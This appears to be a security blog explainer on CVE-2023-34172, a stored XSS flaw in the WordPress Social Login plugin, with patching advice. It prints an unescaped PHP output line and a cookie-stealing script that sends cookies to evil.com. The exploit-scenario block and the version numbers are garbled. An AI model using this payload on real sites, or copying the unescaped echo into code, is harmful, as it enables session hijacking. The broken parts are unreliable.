The world of WordPress plugins is massive, with thousands of useful tools that make running a website easier. But sometimes, even popular plugins can have security holes—with serious consequences. In this long-read, let’s break down CVE-2023-34172, a stored Cross-Site Scripting (XSS) flaw found in versions 3..4 and below of the Miled WordPress Social Login plugin. We’ll cover how the issue occurs, show example code, provide references, and share practical exploitation details in plain language.
What Is CVE-2023-34172?
CVE-2023-34172 is a vulnerability assigned to a stored XSS issue in the WordPress plugin called WordPress Social Login by Miled. The problem affects plugin versions 3..4 and below.
Authentication Required: Yes (Admin+)
- CVE Reference: CVE-2023-34172 on NVD
Why Is This Serious?
XSS bugs allow attackers to inject malicious scripts into a website. If this script is stored (rather than just reflected), every visitor or user who views the affected page can get hit by the attacker’s code. That means things like cookie theft, fake login forms, or even drive-by downloads.
But: In this case, you have to be an authenticated user with admin privileges or higher to inject the payload. At first, that sounds less risky—but if an attacker gets control of an admin account (via brute force, credential stuffing, phishing, or insider threat), they can compromise even more users (including other admins).
Where is the Flaw?
Older versions of the Social Login plugin do not properly clean and escape input on certain admin forms. A malicious admin could inject JavaScript into these fields. When any admin visits the Social Login settings page, the stored script executes in their browser.
Specifically, options fields that appear in the plugin’s backend, like widget_title or widget_text, are not sanitized or escaped on output.
This is a simplified (not actual plugin code) but shows the typical issue
// Vulnerable: admin can inject JS in Settings page fields
echo '<input type="text" name="widget_title" value="' . $_POST['widget_title'] . '" />';
There’s no call to sanitize or escape the user-supplied value in 'widget_title'.
Example XSS Payload
<script>alert("Hacked by admin!");</script>
Or, a real attack could use something stealthy, like stealing cookies
<script>fetch('https://evil.com/log?c='+document.cookie);</script>
Exploit Scenario
Let’s look at how an attacker might use this in real life.
Bob is a rogue admin (maybe demoted, or malicious insider).
- Bob enters this payload into an admin-configurable widget title field inside “Social Login” settings:
`
)">
Bob now has Alice's cookies, or even her session. He can hijack her admin account.
Important: Since it’s stored XSS, any future admin who visits the settings will trigger Bob’s script.
`html
Links & References
- WordPress Plugin Directory – WP Social Login
- CVE-2023-34172 on NVD
- WPScan Vulnerability Report
- Explained: Stored vs Reflected XSS
- How to Patch XSS in WordPress Plugins (Official Guide)
Conclusion
While this vulnerability requires admin access, stored XSS like CVE-2023-34172 can be the first stepping stone in a more complex attack chain. Always sanitize and escape output—even for admin user input. Keep your plugins up to date and restrict admin access to trusted users.
For blog and security research, please responsibly test XSS only on your own sites or in controlled environments!
Timeline
Published on: 08/30/2023 15:15:09 UTC
Last modified on: 09/01/2023 12:30:20 UTC